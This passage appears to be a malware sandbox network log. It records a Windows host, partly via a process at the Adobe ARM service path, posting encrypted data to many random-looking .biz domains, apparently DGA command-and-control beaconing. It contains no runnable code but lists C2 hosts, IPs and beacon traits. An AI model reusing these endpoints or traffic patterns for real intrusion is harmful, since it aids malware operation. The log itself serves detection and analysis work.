Oct 31, 2024 16:05:20.053864956 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=fd59e37eb41a78fedf1f4987544a0bfc\|173.254.250.77\|1730387119\|1730387119\|0\|1\|0; path=/; domain=.tnevuluw.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.22	49286	18.141.10.107	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:20.066169977 CET	357	OUT	POST /huocjuktxaghwqg HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: whjovd.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:05:20.066195011 CET	850	OUT	Data Raw: 8e 74 de 3e 73 44 2f 45 46 03 00 00 8b d7 f3 14 68 58 6d cd 90 0c 8c 6c 46 b2 ef 3a ec 0f 5d d4 cd fd 06 1a f5 eb 93 81 66 42 25 a6 27 37 6c 1f e3 37 d2 e3 ec 79 91 ac df 93 f0 58 cb 8d ac 1d a0 df 29 48 1f bb 78 ca 28 84 aa cb 8e 08 f7 a3 8c aa Data Ascii: t>sD/EFhXmlF:]fB%'7l7yX)Hx(iJ115`H$OiD)W{"UA/ '6vd>8i",4ZzXN$)#GU7y9 IIqOYq?$wWu%c8LH*D
Oct 31, 2024 16:05:21.928726912 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=9aa317653fc061aada17f24de48b9dd9\|173.254.250.77\|1730387121\|1730387121\|0\|1\|0; path=/; domain=.whjovd.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 31, 2024 16:05:21.928955078 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=9aa317653fc061aada17f24de48b9dd9\|173.254.250.77\|1730387121\|1730387121\|0\|1\|0; path=/; domain=.whjovd.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.22	49287	34.211.97.45	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:20.465004921 CET	346	OUT	POST /yfvfw HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: esuzf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:05:20.465991020 CET	784	OUT	Data Raw: 94 8d 55 d6 fd f6 6e d1 04 03 00 00 c2 78 14 b9 ec 5f 14 16 c1 63 b3 cb 57 6d 08 b6 d2 82 77 c7 ed 7d e7 3d 8c eb 8c 19 50 e5 ee 78 f1 3c 11 be 57 90 45 37 19 c7 91 f9 f7 4b a7 df 0a 1b 37 c9 27 38 e8 a0 eb 71 af cc 4d 7e 45 14 f9 8d da 0e 2f ad Data Ascii: Unx_cWmw}=Px<WE7K7'8qM~E/bL#'8I1UW}{GR[xL,-7FoL8K4B^ns+-w/Y(ldN\| (Z<MEL_00lVV.+)zg-N38
Oct 31, 2024 16:05:21.928677082 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=1dcc4f752f4456c6b38f19b88e4313fd\|173.254.250.77\|1730387121\|1730387121\|0\|1\|0; path=/; domain=.esuzf.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 31, 2024 16:05:21.928823948 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=1dcc4f752f4456c6b38f19b88e4313fd\|173.254.250.77\|1730387121\|1730387121\|0\|1\|0; path=/; domain=.esuzf.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.22	49291	3.94.10.34	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:21.963923931 CET	354	OUT	POST /maxlthgls HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: gvijgjwkh.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:05:21.963938951 CET	784	OUT	Data Raw: 48 c5 63 7c c7 d0 e2 59 04 03 00 00 b7 3a ca 15 ba 86 7a 56 c1 65 37 2f d2 e3 8e 7e 50 54 93 c3 a4 53 8e a5 70 98 3d 7d 3b 77 ff d4 33 5e 43 67 41 bd e8 6d 44 54 a4 9c 07 73 0d 51 0a 04 1f b7 d1 da 33 11 ae cd fb 68 6c 92 d1 12 2e 5e 36 06 86 b3 Data Ascii: Hc\|Y:zVe7/~PTSp=};w3^CgAmDTsQ3hl.^6mmUQEwt@G3\Zjv,>DTyj@(NK}~82i`Q&B$Jt?QMdmJV{o8E5q;TFvB"(OHunG;J^F_9g^*
Oct 31, 2024 16:05:22.672261000 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=d8d0b43ebef02e335b55df2fb42a9ac6\|173.254.250.77\|1730387122\|1730387122\|0\|1\|0; path=/; domain=.gvijgjwkh.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.22	49292	44.221.84.105	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:22.532387018 CET	344	OUT	POST /k HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: reczwga.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:05:22.532423019 CET	850	OUT	Data Raw: 00 da 4d a2 85 62 af d1 46 03 00 00 1a e3 f0 2b 92 6d 5d 5c 1e 17 7a 97 12 69 d1 ea 4a b6 2d c9 e7 0d 16 70 c3 7a b6 f4 fc ab 64 e8 d0 77 c0 f2 04 db 4b 63 45 05 8b ed b2 2b 7a b8 5b c1 6a 7a 16 60 e5 df b8 36 1d 36 ab c0 dc 37 75 54 fe 38 81 01 Data Ascii: MbF+m]\ziJ-pzdwKcE+z[jz`667uT8oOu_l,Ac!xj#e(!o;ehz$g v%0;/#UB+y<`oMZ+^4H`@nKoPQ;[=_}Le \|M
Oct 31, 2024 16:05:23.181977987 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=c0085e10757505c146b0770879f3dee7\|173.254.250.77\|1730387123\|1730387123\|0\|1\|0; path=/; domain=.reczwga.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.22	49293	18.246.231.120	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:22.702078104 CET	346	OUT	POST /ymx HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: qpnczch.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:05:22.702099085 CET	784	OUT	Data Raw: a2 7b 88 85 4f 25 b4 bd 04 03 00 00 92 2d 4f 27 01 e8 a6 22 ba 35 74 7f d7 20 5a 5f 29 a9 03 df 8a 3e 2d af ad 78 f0 8d 9f f2 95 3b 1c 41 d1 3d 05 b0 ea c7 02 10 63 09 0e e0 cf 7e 2d bf 37 1f 2a 92 24 da dc 3b 8e df b5 e6 60 52 2b 63 4a e0 0c 82 Data Ascii: {O%-O'"5t Z_)>-x;A=c~-7*$;`R+cJP{<>i0%$O5N:Ia"#$Gs!(WfnQ-e:vzB;]WJyV/FzUq21g!wazX_U.;{)Ax^\uPdL
Oct 31, 2024 16:05:23.546576023 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=ec43ee9309f0c29f352e40709c70d1e2\|173.254.250.77\|1730387123\|1730387123\|0\|1\|0; path=/; domain=.qpnczch.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.22	49294	34.211.97.45	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:23.204634905 CET	355	OUT	POST /hlrciptoprcil HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: bghjpy.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:05:23.204670906 CET	850	OUT	Data Raw: 8c 72 30 d7 b2 5f 8d 97 46 03 00 00 05 3b 46 e7 ec 77 28 ef 63 12 46 87 14 37 96 58 c8 e0 5a c2 7e 18 e1 ca 00 3a d4 80 14 64 bf 30 36 91 4d 26 a0 cd 37 d8 52 85 15 c5 95 a9 7f 66 0f 70 28 68 cb 65 c5 5f 9f dd 0e fd 50 62 33 57 7d 20 22 17 ee 96 Data Ascii: r0_F;Fw(cF7XZ~:d06M&7Rfp(he_Pb3W} "$Jc#uq>\|Uf$qP\|_~W_+3M" x})joKhv,AF/Y>WJ}r[82dpmdxA[]&3L{r$
Oct 31, 2024 16:05:24.249284983 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=daadbcb8064140a8976d7cd199bbbf7a\|173.254.250.77\|1730387123\|1730387123\|0\|1\|0; path=/; domain=.bghjpy.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.22	49295	3.254.94.185	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:23.725306988 CET	344	OUT	POST /awp HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: brsua.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:05:23.725342989 CET	784	OUT	Data Raw: c2 09 21 c3 10 c2 4c 77 04 03 00 00 6d a6 a2 af 7b 08 55 10 8d 3d 76 11 8d 60 72 96 59 24 6f 84 d6 ea ca bb 48 fe f9 2f ee 48 3d 5d c2 cd fd 9e 10 c7 dc 76 a6 30 c5 ab 0c 4b 92 71 68 d2 ae 02 ee 3e ee d3 82 6b 18 c7 31 7a 55 81 95 f7 0b 99 0a f4 Data Ascii: !Lwm{U=v`rY$oH/H=]v0Kqh>k1zUjFM\n^FH,{<RtmP^S)YPt{{JR%^uX4E`}1kZ';.Q&LPexm>v0RN-P7~s-A@
Oct 31, 2024 16:05:24.741729975 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:24 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=2dfc389323819dde4e6f5c6b1d4e6d62\|173.254.250.77\|1730387124\|1730387124\|0\|1\|0; path=/; domain=.brsua.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.22	49296	18.208.156.248	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:24.276913881 CET	355	OUT	POST /mhswgowxhm HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: damcprvgv.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:05:24.277023077 CET	850	OUT	Data Raw: 49 54 50 f4 6f 3f bb 74 46 03 00 00 91 45 25 66 15 3c 23 a4 91 46 16 45 e4 92 31 b4 fa 2d 0f dd 00 6f f2 ed 98 3e 12 b4 b4 cb d4 4d d8 f1 96 f4 71 2e a3 75 4f 5f f9 bc b4 09 60 de 8b b9 71 b9 98 3c 7a d3 cf e5 67 2d 73 0e de 36 3d b8 9b 90 b5 dd Data Ascii: ITPo?tFE%f<#FE1-o>Mq.uO_`q<zg-s6=&#t& ;R+G#\|]pT8o-+ZJ*q~~wv72eKns#waTdv;YSnb[Q-2zzAk\4{Pc@ /O/'
Oct 31, 2024 16:05:24.931041002 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:24 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=fbf7973daca5292547b6737ad85ced0d\|173.254.250.77\|1730387124\|1730387124\|0\|1\|0; path=/; domain=.damcprvgv.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.22	49297	85.214.228.140	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:24.995134115 CET	347	OUT	POST /pio HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: dlynankz.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:05:24.995145082 CET	784	OUT	Data Raw: e2 4a 7a 5f 46 fd 06 0c 04 03 00 00 42 c3 f3 ab c8 51 e7 2e b2 87 89 36 b1 d0 17 8f 50 0c 18 51 ed 13 e1 56 b7 cf 1c 16 8b a2 71 a3 1a ee 73 a9 53 65 76 49 09 30 a3 77 ce 37 39 81 3c 62 04 c6 5f 32 fd 06 ca fd 50 ef f2 95 f4 02 4d 2e a6 69 a1 b9 Data Ascii: Jz_FBQ.6PQVqsSevI0w79<b_2PM.i/jU>0Pdeh Q0>n;n0bro$#oN^xh-L-u>n9"4RuWwoGQ1n9NbRng%m_z\xXsuV
Oct 31, 2024 16:05:25.865777969 CET	166	IN	HTTP/1.1 404 Not Found Server: nginx/1.27.2 Date: Thu, 31 Oct 2024 15:05:25 GMT Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=20 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 31, 2024 16:05:26.212667942 CET	166	IN	HTTP/1.1 404 Not Found Server: nginx/1.27.2 Date: Thu, 31 Oct 2024 15:05:25 GMT Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=20 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.22	49298	3.254.94.185	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:25.052601099 CET	356	OUT	POST /llnmgshpkylde HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ocsvqjg.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:05:25.052643061 CET	850	OUT	Data Raw: 3c 61 36 dc a7 80 fa 69 46 03 00 00 8c 96 0a 16 e8 69 58 c9 ab 56 14 b0 40 f6 81 5c dc 07 d3 34 ea 56 e3 1f 48 44 70 77 b3 69 8c 6e d4 61 0f 07 b9 2b 80 08 1b a3 f8 99 13 64 0b 5f 97 12 f6 48 93 0e c6 da 75 60 bb 59 58 bc 15 d2 1a 0b 21 ab 64 bf Data Ascii: <a6iFiXV@\4VHDpwina+d_Hu`YX!dt%B'-W5!S6QKR^#F4)c+B?\*HycXK9x FXv"!.>iANK>Qib9z1/-sC)v0j"
Oct 31, 2024 16:05:26.212636948 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=92c517f488bf9257da275df98f99eb03\|173.254.250.77\|1730387125\|1730387125\|0\|1\|0; path=/; domain=.ocsvqjg.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.22	49299	47.129.31.212	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:25.884198904 CET	353	OUT	POST /lbvtayaxtu HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: oflybfv.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:05:25.884306908 CET	784	OUT	Data Raw: 39 d0 9a fd 3e 2c 7f a0 04 03 00 00 df 8f eb 9a 86 ca ab 6a ef e8 c7 c0 49 78 13 5d b8 9c ed 11 e5 76 8d cc 9a aa eb d8 15 b2 72 7a e7 e1 d4 dc a3 ba 0b 07 e8 b8 1d 95 2c 29 4d a0 05 55 0e b9 2d 84 09 2f 94 1c 16 78 4a 40 71 db d5 4b be 4a 67 31 Data Ascii: 9>,jIx]vrz,)MU-/xJ@qKJg1go&tEI$0Y]pJVd#E>LoU&n0T$P\|fObMn]8hLjy&_2sl/#aYK8et$\|\|f~Ku(
Oct 31, 2024 16:05:27.311906099 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=ac166b9b8ab40ea7990afaf706d98e59\|173.254.250.77\|1730387127\|1730387127\|0\|1\|0; path=/; domain=.oflybfv.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.22	49300	54.244.188.177	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:26.970179081 CET	349	OUT	POST /ndaillua HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ywffr.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:05:26.970206976 CET	850	OUT	Data Raw: b7 71 b7 b7 ab a3 34 49 46 03 00 00 cc 0a 0f 2b 68 a1 39 1a 2e 75 9d 7e 47 f5 2d 1f b7 5e dd ad fb 51 84 b8 f7 3a ec 1b 3b 7e 9c aa de 62 05 6b e1 70 a8 ea 57 d8 14 ac 44 67 92 30 e9 b1 92 ca a4 db 14 52 d6 e1 ea 29 ce bf f7 14 e4 19 d1 16 31 21 Data Ascii: q4IF+h9.u~G-^Q:;~bkpWDg0R)1!B:FXVxbBC%-&RaqC#gxO]0:l?TRnwPV?wNN3%B"2N=SMi@<jAG?*zudef>YAF
Oct 31, 2024 16:05:27.847738028 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=6ae726e6a99c06c195928e8f3ce2371f\|173.254.250.77\|1730387127\|1730387127\|0\|1\|0; path=/; domain=.ywffr.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.22	49301	34.211.97.45	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:27.330575943 CET	353	OUT	POST /fbtqdhvhtjfn HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: yhqqc.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:05:27.330734015 CET	784	OUT	Data Raw: bb 71 2b 19 ee c1 c6 ec 04 03 00 00 47 23 d3 2e f7 56 fc 53 78 fd dd b5 e7 f2 b1 c2 36 d2 79 8a 84 b3 1f f2 3b e1 5d a2 0f 70 6e b8 0d 1f d4 78 6f 22 e4 81 18 36 82 8b 32 b2 06 9b 95 a8 5f da 9a fd 3d b8 ee 5e f6 0f d6 b8 d2 77 ff 62 04 d0 d5 25 Data Ascii: q+G#.VSx6y;]pnxo"62_=^wb%SXvW`3\|vEjrbGL=LGGu:l&g7[NmfRikUoYXAGgh cP)<5o9O=)vse%<!b@/vms
Oct 31, 2024 16:05:28.158869028 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=f59e9b2b78ee412b700b77f187861185\|173.254.250.77\|1730387128\|1730387128\|0\|1\|0; path=/; domain=.yhqqc.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.22	49302	54.244.188.177	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:27.882150888 CET	358	OUT	POST /tpjvftvnmtifikga HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ecxbwt.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:05:27.882173061 CET	850	OUT	Data Raw: 3f c0 92 4b 02 e6 0c 58 46 03 00 00 a5 07 44 33 1f 7c 68 a7 3d 15 2f bc 21 e7 67 33 2a 71 81 e8 57 31 04 6f c4 cc 99 69 62 02 23 8c ce 7f 6d ae 6c 9d ad 96 d1 80 d2 36 27 9e 46 4e db ad 93 8b cd 60 cb 6b 79 b7 81 63 91 bc 60 ec 1b 05 c4 26 2e 9a Data Ascii: ?KXFD3\|h=/!g3qW1oib#ml6'FN`kyc`&.iKd&XjsaMB0S,T)_j~`ssTWZn7#jHb~'>OuKrP_2XqiQyR.<'Lv64sHa7&-U79QUzx['iO8b
Oct 31, 2024 16:05:28.748616934 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=4a5a6b8dd5be4679c32ad9cd4202d41c\|173.254.250.77\|1730387128\|1730387128\|0\|1\|0; path=/; domain=.ecxbwt.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.22	49303	47.129.31.212	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:28.176090002 CET	352	OUT	POST /vvmrjbgjpb HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: mnjmhp.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
